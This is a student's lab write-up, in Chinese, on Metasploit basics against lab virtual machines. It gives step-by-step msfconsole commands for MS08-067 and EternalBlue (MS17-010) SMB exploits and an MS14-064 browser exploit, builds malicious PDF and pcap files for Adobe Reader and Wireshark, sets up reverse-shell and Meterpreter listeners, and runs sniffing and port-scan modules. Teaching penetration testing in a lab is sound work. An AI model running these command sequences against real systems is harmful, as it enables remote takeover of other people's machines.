一、实践内容
二、实践原理
三、实践过程
1、一个主动攻击实践
ms08_067_netapi
ms17_010
2、一个针对浏览器的攻击
ms14_064
ms17-010
3、一个针对客户端的攻击
Adobe
Wireshark
4、成功应用一个辅助模块
sniffer嗅探
portscan端口扫描
MSF使用nmap
四、实践问题回答
五、离实践还缺什么技术或步骤
六、实践心得体会
一、实践内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
一个主动攻击实践,尽量使用最新的类似漏洞;
一个针对浏览器的攻击,尽量使用最新的类似漏洞;
一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;
成功应用任何一个辅助模块。
二、实践原理
MSF攻击方法
主动攻击:扫描主机漏洞
攻击浏览器
供给客户端
六个模块
渗透攻击模块exploit
利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
辅助模块Auxiliary
能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
攻击载荷Payload
在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
三种payload :Single,Stager,Stages。
空字段模块Nop :
一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90,便于快速确定返回地址的位置
编码模块Encoders:
针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
后渗透攻击模块Post :
支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
MSF的三种用户操作界面
msfconsole
查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
查看设置信息show [options]
查看攻击目标类型show [target]
查找命令search
查找2018年产生的在windows平台下的漏洞search ms18(或CNE:2018) type:exploit platform:windows
armitage
启动服务器service postgresql start
启动armitagearmitage
webgui
三、实践过程
1、一个主动攻击实践
ms08_067_netapi
ms08_067漏洞是著名的远程溢出漏洞。攻击者发送恶意资料到受害机默认开放的SMB服务端口445,通过MSRPC接口调用server服务的一个函数,并破坏程序的栈缓存区,获得远程代码执行权限,从而完全控制主机。
靶机:Windows 2000
攻击机:Kali
获取靶机IP地址 192.168.42.132
攻击机试探靶机是否存在此漏洞 sudo nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.232.132
攻击机打开MSF
复制代码
sudo msfconsole
search ms08-067 //查看漏洞位置
use exploit/windows/smb/ms08_067_netapi //选择该漏洞
set payload generic/shell_reverse_tcp //设置攻击的载荷
set RHOSTS 192.168.232.132 //靶机IP
set LHOSTS 192.168.232.134 //攻击机IP
exploit //进行攻击
复制代码
攻击成功!
ms17_010
ms07_010 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。
靶机:Microsoft Windows 7 x64
攻击机:Kali
查看Win7虚拟机IP地址
关闭Win7防火墙
在kali虚拟机中开启MSF服务
sudo msfconsole
use auxiliary/scanner/smb/smb_ms17_010 //选择攻击漏洞
set RHOSTS 192.168.232.129 //靶机IP地址
exploit //扫描靶机,查看漏洞
利用此漏洞攻击win7主机
use exploit/windows/smb/ms17_010_eternalblue //选择该漏洞
set payload windows/x64/meterpreter/reverse_tcp //设置攻击载荷
set RHOSTS 192.168.232.129 //设置靶机IP
set LHOSTS 192.168.232.134 //设置攻击机IP
exploit //攻击
攻击成功!
2、一个针对浏览器的攻击
ms14_064
Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码。
靶机:Windows XP IE浏览器
攻击机:Kali
获取XP虚拟机的IP地址
在攻击机Kali中打开MSF
复制代码
sudo msfconsole
search ms14_064 //查看与此漏洞相关的攻击模块
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
set payload windows/meterpreter/reverse_tcp //设置攻击载荷
set SRVHOST 192.168.232.134 //设置攻击机IP(kali)
set AllowPowerShellPrompt true //设置powershell
set LHOST 192.168.232.134 //设置监听地址(KaliIP)
set LPORT 1306 //设置监听端口
show targets //查看此漏洞适用的系统版本
set target 0 //设置winXP靶机
show options //查看设置的参数信息
exploit
复制代码
将生成的URL拷贝至Windows XP虚拟机的IE浏览器中运行
回到kali中,看到一些提示会话创建成功的信息,此时用 sessions 查看此时kali中创建的会话
输入 sessions -i 1 即可获取刚刚我们所创建的那个会话连接
输入 ipconfig ,获取到靶机的IP地址
ms17-010
靶机:Windows 7 x64虚拟机的IE浏览器
攻击机:Kali
获取Win7虚拟机的IP地址
在攻击机中打开MSF
复制代码
sudo msfconsole
search ms17-010 //查看与此漏洞相关的攻击模块
use exploit/windows/smb/ms17_010_eternalblue //选择攻击模块
set payload generic/shell_reverse_tcp //设置攻击载荷
set RHOST 192.168.232.129 //设置靶机IP,端口默认为445
set LPORT 1306 //回连的kali虚拟机端口
set LHOST 192.168.232.134 //设置攻击机IP
exploit //发起渗透攻击
复制代码
结果报错,原因为端口占用,于是更换端口号
来到靶机IP浏览器,输入网址监听端口 http://192.168.232.134:1306
3、一个针对客户端的攻击
Adobe
靶机:Windows XP
攻击机:Kali
在靶机中安装Adobe Reader
在Kali中生成利用漏洞的pdf文件
复制代码
msfconsole //进入控制台
search adobe //搜索与adobe有关的漏洞
use windows/fileformat/adobe_cooltype_sing //选择使用此漏洞
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看需要配置的参数选项
set LPORT 1306 //设置端口号
set RHOST 192.168.42.134 //设置靶机IP地址
set FILENAME br.pdf //设置生成的PDF文件名
exploit //生成.pdf文件
复制代码
将生成的PDF文件复制到XP虚拟机中
在kali中开启监听
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看需要配置的参数选项
set LPORT 1306 //设置端口号
set RHOST 192.168.42.134 //设置靶机IP地址
exploit //开启监听
在靶机中使用Adobe Reader打开pdf
攻击成功!
Wireshark
靶机:Windows XP
攻击机:Kali
在XP虚拟机中安装wireshark(版本wireshark1.4.2)
在kali中生成利用漏洞的pcap文件
复制代码
sudo msfconsole //进入控制台
search wireshark //搜索与wireshark有关的漏洞
use exploit/windows/fileformat/wireshark_packet_dect //选择使用此漏洞
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
show options //查看需要配置的参数选项
set LHOST 192.168.42.129 //kali的IP
set LPORT 1306 //设置端口号
set FILENAME br.pcap //设置生成的pcap文件名
exploit //生成.pcap文件
复制代码
将生成的pcap文件复制到XP虚拟机中
在Kali中开启监听
复制代码
sudo msfconsole
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
show options //查看需要配置的参数选项
set LHOST 192.168.42.129 //kali的IP
set LPORT 1306 //设置监听的端口号
exploit //开启监听
复制代码
在靶机中用Wireshark打开文件
攻击成功!
4、成功应用一个辅助模块
sniffer嗅探
靶机:Windows XP
攻击机:Kali
Kali打开MSF
search sniff //查看嗅探的攻击
use auxiliary/sniffer/psnuffle //进入嗅探器模块
show options //查看参数
set RHOST 192.168.232.131 //靶机IP
run
在靶机中启动浏览器就可以查看到嗅探器捕获的记录
portscan端口扫描
靶机:Windows XP
攻击机:Kali
在Kali中打开MSF
search portscan //搜索与端口扫描相关的模块
use auxiliary/scanner/portscan/tcp //使用此辅助模块扫描靶机tcp端口
show options //显示要设置的参数选项
set RHOSTS 192.168.232.131 //设置要扫描的靶机ip
exploit
MSF使用nmap
在msf控制台中输入 nmap -O -Pn 192.168.232.131 ,查看靶机开放的端口和靶机版本信息。
四、实践问题回答
用自己的话解释什么 是exploit,payload,encode。
exploit:既可以看成是运载恶意代码的载体,也可以理解成利用漏洞进行攻击的通道。
payload:载荷是攻击的具体武器,每次都要进行设置,有些攻击需要匹配特定的payload,如后门等。
encode用来编码,用于伪装,还可以想上课讲的那样消除坏字符。
五、离实践还缺什么技术或步骤
本次实践主要说明了信息搜集、把病毒或后门程序输送到期望的目标机在攻击包括防范漏洞攻击的重要性。经过这次实践,将病毒和后门程序真正展现起作用才是最重要的。除此之外,自己还需要加强解决问题和随机应变分析问题的能力,做到心中有数。
六、实践心得体会
本次的主要实验内容是MSF的基础应用,而在这次实验中,出现最大的问题在于Windows 2000虚拟机的龟龟龟龟速和不好使,还有针对客户端程序攻击的各种问题。在不断的尝试和实践中,我对不同模块的主要内容和功能有了一些掌握,对MSF的应用有了更深入的了解。